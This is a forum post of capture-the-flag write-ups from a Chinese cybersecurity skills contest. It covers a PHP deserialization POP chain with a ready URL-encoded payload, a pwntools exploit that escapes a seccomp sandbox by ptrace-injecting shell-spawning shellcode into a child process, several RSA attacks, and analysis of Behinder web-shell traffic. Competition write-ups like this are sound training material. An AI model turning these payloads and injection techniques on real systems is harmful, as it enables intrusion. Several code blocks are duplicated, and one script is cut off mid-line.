首页
社区
课程
招聘
[原创]网络安全行业职业技能大赛部分题解
发表于: 2025-12-11 21:50 5996

[原创]网络安全行业职业技能大赛部分题解

2025-12-11 21:50
5996

宇宙安全声明
⚠⚠⚠由于相关题目稀缺难以收集,以下为部分题解。题目可能会缺失,欢迎也恳请有资源者补充相关题目。同时因为没法验证答案,可能存在错误,如有问题敬请批评指正。

PHP反序列化。

构造以下代码。

得到payload。

常规Pwn题目,典型的板子题目。

检查checksecseccomp,查看伪代码。

注意到No PIE,这对解题有用。

虽然没有过滤execve,但是直接执行execve("/bin/sh", 0, 0)是不可行的。因为执行中同样适用read被禁用的规则,而执行必然调用read

符合以下特征。

对于符合此类特征的题目,直接使用模板即可。

与此类似的题目例如NepCTF 2025 smallbox。【参考1参考2】区别是原题的子进程可执行地址是由mmap固定分配的,而此题的子进程可执行地址可借用原始代码段(回顾:No PIE)。

整体逻辑较为简单,但有部分要点需要强调。

Q1: 为什么使用汇编获取pid

在本题中,pid是被直接输出的,因此可以通过io获取。但是考虑到通用性,有时题目不会输出pid,但以上结果可能被暂存在堆栈或寄存器中,因此使用汇编获取。此外,若采用将pid嵌入汇编源码的方式,由于asm每次汇编需要时间,而相同代码汇编可以利用缓存,为提高效率,防止超时,使用固定寄存器也是合理的。

Q2: 为什么前置b"\x90" * 2,并跳转到fork_exec_addr + 2

原题中没有体现这点,不完成这一操作也可打通。但此题有相当大概率不行。关键原因在于是否存在系统调用。

原题是死循环,未涉及系统调用。而本题则包含系统调用。这到底意味着什么呢?这里涉及到Linux代码追溯至0.12版本(1992年,非常早,当时Linux还是按版本而非补丁发布)开始引入的代码行为。

例如本题,如果中断在系统调用之间,则会回退2字节,例如原题,如果不中断在系统调用之间,则无此烦恼。为了使得代码通用,我们前置b"\x90" * 2,并跳转到fork_exec_addr + 2。【参考

经典RSA题目。

关注到n1n2有最大公因数p,然后可得到q1q2

得到前半部分结果flag="flag{d963aed3-87d3"

好的,题目也不知道哪里拼来改的,我也不知道给出的r是个啥。也就是给出Neencg要求m

此题为共素数RSA。【参考

直接使用文章中的脚本。先简单计算下相关的参数,判断符合文章“1.3.3. 已知 g”一节中“g < a + b”的情况。

稍微扩大范围。

得到pq后直接解密即可。

得到后半部分结果-11f0-88f5-7cb56648c636}

简单Reverse题目。换表Base64。

流量分析题目,套娃公钥密码。

开幕雷击。上传了木马shell.php。题目把密码rebeyond给我们了。

提前准备CyberChef解密请求体。

提前准备CyberChef解密响应体。

使用过滤器http.request.method == POST && http.request.uri contains shell.php,结果如下。

遇到混淆流量,追踪HTTP流可能会有问题,故追踪TCP流。逐条分析,主要包括连接验证流量、系统信息流量、列举目录流量、下载文件流量(下载文件为/Users/g0fl1er/website/train/upload/d41d8cd98f00b204e9800998ecf8427e/data.zip,保存文件后续分析)、校验文件流量(文件哈希c8f82d835a75f23c)。

data.zip内容如下。

hint.txt

publickey1.pem

publickey2.pem

使用以下CyberChef recipe。

得到:

在PEM中,上面的为模数,下面的为指数。或者使用脚本也可自动解析这一点。

在Misc题目里面塞Crypto题目是令人无语的。已知n1n2e。小伙伴们可能会问,能解?嘿,还别说,出题人设计了n1n2有相同的d。别问,问就是出题人也没说,问就是做题经验,反正我没有。【参考

先用SageMath跑出d。直接用上述文章中的脚本。

再根据ned求出pq。借用不知何处找来的脚本。

按照hint.txt计算即可。咱也不知道他的pq分别是啥。一般认为p > q吧……

简单Misc题目。修复PNG图片宽高。

修复后:

图中可见flag。

由于是资源整合文章,照搬照抄了众多脚本,许多来源已经不可考。总有一天我要不做脚本小子/(ㄒoㄒ)/

以下列出我能够找到ID的,按照首次出现在本文的顺序排序。

<?php
class o_dfgdf
{
        public $mod1;
        public function __call($fuc,$param)
        {
            $s = $this->mod1;
            $s();
        }
}
class o_ljiot
{
        public $mod1;
        public function test()
        {
            $this->mod1->test();
        }
}
 
class o_hjldg
{
        public $mod1;
        public function __destruct()
        {
                $this->mod1->test();
        }
}
 
class o_lijog
{
        public function get_flag()
        {
           include("flag.php");
           echo $flag;
        }
}
 
class o_iojnd
{
        public $mod1;
        public function __toString()
        {
                $this->mod1->get_flag();
                return "";
        }
}
 
class o_podjg
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "hello, ".$this->mod1;
        }
}
 
 
$a = @unserialize($_GET['welcome']);
throw new Exception('What happened?');
echo $a;
<?php
class o_dfgdf
{
        public $mod1;
        public function __call($fuc,$param)
        {
            $s = $this->mod1;
            $s();
        }
}
class o_ljiot
{
        public $mod1;
        public function test()
        {
            $this->mod1->test();
        }
}
 
class o_hjldg
{
        public $mod1;
        public function __destruct()
        {
                $this->mod1->test();
        }
}
 
class o_lijog
{
        public function get_flag()
        {
           include("flag.php");
           echo $flag;
        }
}
 
class o_iojnd
{
        public $mod1;
        public function __toString()
        {
                $this->mod1->get_flag();
                return "";
        }
}
 
class o_podjg
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "hello, ".$this->mod1;
        }
}
 
 
$a = @unserialize($_GET['welcome']);
throw new Exception('What happened?');
echo $a;
$get_flag = new o_lijog();
$toString = new o_iojnd();
$toString->mod1 = $get_flag;
$invoke = new o_podjg();
$invoke->mod1 = $toString;
$call = new o_dfgdf();
$call->mod1 = $invoke;
$test = new o_ljiot();
$test->mod1 = $call;
$destruct = new o_hjldg();
$destruct->mod1 = $test;
$gc = array($destruct, 0);
 
$welcome = serialize($gc);
$welcome[-7] = '0';
echo urlencode($welcome);
$get_flag = new o_lijog();
$toString = new o_iojnd();
$toString->mod1 = $get_flag;
$invoke = new o_podjg();
$invoke->mod1 = $toString;
$call = new o_dfgdf();
$call->mod1 = $invoke;
$test = new o_ljiot();
$test->mod1 = $call;
$destruct = new o_hjldg();
$destruct->mod1 = $test;
$gc = array($destruct, 0);
 
$welcome = serialize($gc);
$welcome[-7] = '0';
echo urlencode($welcome);
a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7D
a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7D
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 0011
 0008: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 0011
 0008: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t v4; // [rsp+4h] [rbp-Ch]
 
  init(argc, argv, envp);
  v4 = fork();
  if ( v4 )
  {
    printf("pid: %d\n", v4);
    mmap((void *)0x10000, 0x1000u, 7, 50, -1, 0);
    read(0, (void *)0x10000, 0x1000u);
    sandbox();
    MEMORY[0x10000]();
  }
  else
  {
    love();
  }
  return 0;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t v4; // [rsp+4h] [rbp-Ch]
 
  init(argc, argv, envp);
  v4 = fork();
  if ( v4 )
  {
    printf("pid: %d\n", v4);
    mmap((void *)0x10000, 0x1000u, 7, 50, -1, 0);
    read(0, (void *)0x10000, 0x1000u);
    sandbox();
    MEMORY[0x10000]();
  }
  else
  {
    love();
  }
  return 0;
}
from pwn import *
 
context(os="linux", arch="amd64", log_level="debug")
 
fork_shellcode = b"\x90" * 2
fork_shellcode += asm(shellcraft.sh())
while len(fork_shellcode) % 8 != 0:
    fork_shellcode += b"\x90"
fork_shellcode_u64 = [
    u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)
]
 
PTRACE_PEEKDATA = 2
PTRACE_POKEDATA = 5
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
 
main_shellcode = asm("mov r14d, [rbp-0xC]")
pid = "r14"
main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))
main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))
fork_exec_addr = 0x401170
for idx, i in enumerate(fork_shellcode_u64):
    main_shellcode += asm(
        shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i)
    )
main_regs_addr = 0x10000 + 0x500
main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))
main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))
main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))
main_shellcode += asm("mov [rax+0x80], rdx")
main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))
main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))
main_shellcode += asm("jmp $")
 
io = process("./ezpwn")
io.send(main_shellcode)
io.interactive()
from pwn import *
 
context(os="linux", arch="amd64", log_level="debug")
 
fork_shellcode = b"\x90" * 2
fork_shellcode += asm(shellcraft.sh())
while len(fork_shellcode) % 8 != 0:
    fork_shellcode += b"\x90"
fork_shellcode_u64 = [
    u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)
]
 
PTRACE_PEEKDATA = 2
PTRACE_POKEDATA = 5
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
 
main_shellcode = asm("mov r14d, [rbp-0xC]")
pid = "r14"
main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))
main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))
fork_exec_addr = 0x401170
for idx, i in enumerate(fork_shellcode_u64):
    main_shellcode += asm(
        shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i)
    )
main_regs_addr = 0x10000 + 0x500
main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))
main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))
main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))
main_shellcode += asm("mov [rax+0x80], rdx")
main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))
main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))
main_shellcode += asm("jmp $")
 
io = process("./ezpwn")
io.send(main_shellcode)
io.interactive()
// 原题逻辑
      while ( 1 )
        ;
 
// 本题逻辑
  for ( i = 0; i <= 2999; ++i )
  {
    puts("i love you");
    result = sleep(1u);
  }
// 原题逻辑
      while ( 1 )
        ;
 
// 本题逻辑
  for ( i = 0; i <= 2999; ++i )
  {
    puts("i love you");
    result = sleep(1u);
  }
if ((orig_eax != -1) &&
    ((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) {
    if ((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) ||
        signr < SIGCONT || signr > SIGTTOU))
        *(&eax) = -EINTR;
    else {
        *(&eax) = orig_eax;
        *(&eip) = old_eip -= 2;
    }
}
if ((orig_eax != -1) &&
    ((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) {
    if ((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) ||
        signr < SIGCONT || signr > SIGTTOU))
        *(&eax) = -EINTR;
    else {
        *(&eax) = orig_eax;
        *(&eip) = old_eip -= 2;
    }
}
from Crypto.Util.number import *
from secret import flag
 
e = 65537
m = bytes_to_long(flag.encode())
p = getPrime(256)
q1, q2 = getPrime(256), getPrime(256)
n1 = p*q1
n2 = p*q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)
print("n1 = {}\nn2 = {}".format(n1, n2))
print("c1 = {}\nc2 = {}".format(c1, c2))
 
# n1 = ...
# n2 = ...
# c1 = ...
# c2 = ...
from Crypto.Util.number import *
from secret import flag
 
e = 65537
m = bytes_to_long(flag.encode())
p = getPrime(256)
q1, q2 = getPrime(256), getPrime(256)
n1 = p*q1
n2 = p*q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)
print("n1 = {}\nn2 = {}".format(n1, n2))
print("c1 = {}\nc2 = {}".format(c1, c2))
 
# n1 = ...
# n2 = ...
# c1 = ...
# c2 = ...
from Crypto.Util.number import *
from math import gcd
 
n1 = ...
n2 = ...
c1 = ...
c2 = ...
 
e = 65537
p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
assert gcd(phi1, e) == 1
assert gcd(phi2, e) == 1
d1 = pow(e, -1, phi1)
d2 = pow(e, -1, phi2)
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
assert m1 == m2
 
print(long_to_bytes(m1).decode())
from Crypto.Util.number import *
from math import gcd
 
n1 = ...
n2 = ...
c1 = ...
c2 = ...
 
e = 65537
p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
assert gcd(phi1, e) == 1
assert gcd(phi2, e) == 1
d1 = pow(e, -1, phi1)
d2 = pow(e, -1, phi2)
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
assert m1 == m2
 
print(long_to_bytes(m1).decode())
#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2
 
class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()
 
    def factorGen(self):
        while True:
            self.g = getPrime(256
 
            while True:
                self.a = random.randrange(1 << 273, 1 << 274)
                if gmpy2.is_prime(2*self.g*self.a + 1):
                    break
 
            while True:
                self.b = random.randrange(1 << 273, 1 << 274)
                if gmpy2.is_prime(2*self.g*self.b + 1) and self.b != self.a:
                    break
 
            self.h = 2*self.g*self.a*self.b + self.a + self.b
            self.N = 2*self.g*self.h + 1
            return
 
    def encrypt(self, msg_int):
        return int(gmpy2.powmod(msg_int, self.e, self.N))
 
    def product(self):
        with open('/flag', 'rb') as f:
            raw = f.read().strip()
        m = bytes_to_long(raw)
        self.enc = self.encrypt(m)
        self.show()
        print(f'enc={self.enc}')
 
    def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")
 
RSAEncryptor()
 
 
# N=...
# e=65537
# g=...
# r=2
# enc=...
#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2
 
class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 2025-12-11 22:12 被UserXCh编辑 ,原因: 完善排版
上传的附件:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
感谢分享????
2025-12-13 15:33
0
游客
登录 | 注册 方可回帖
返回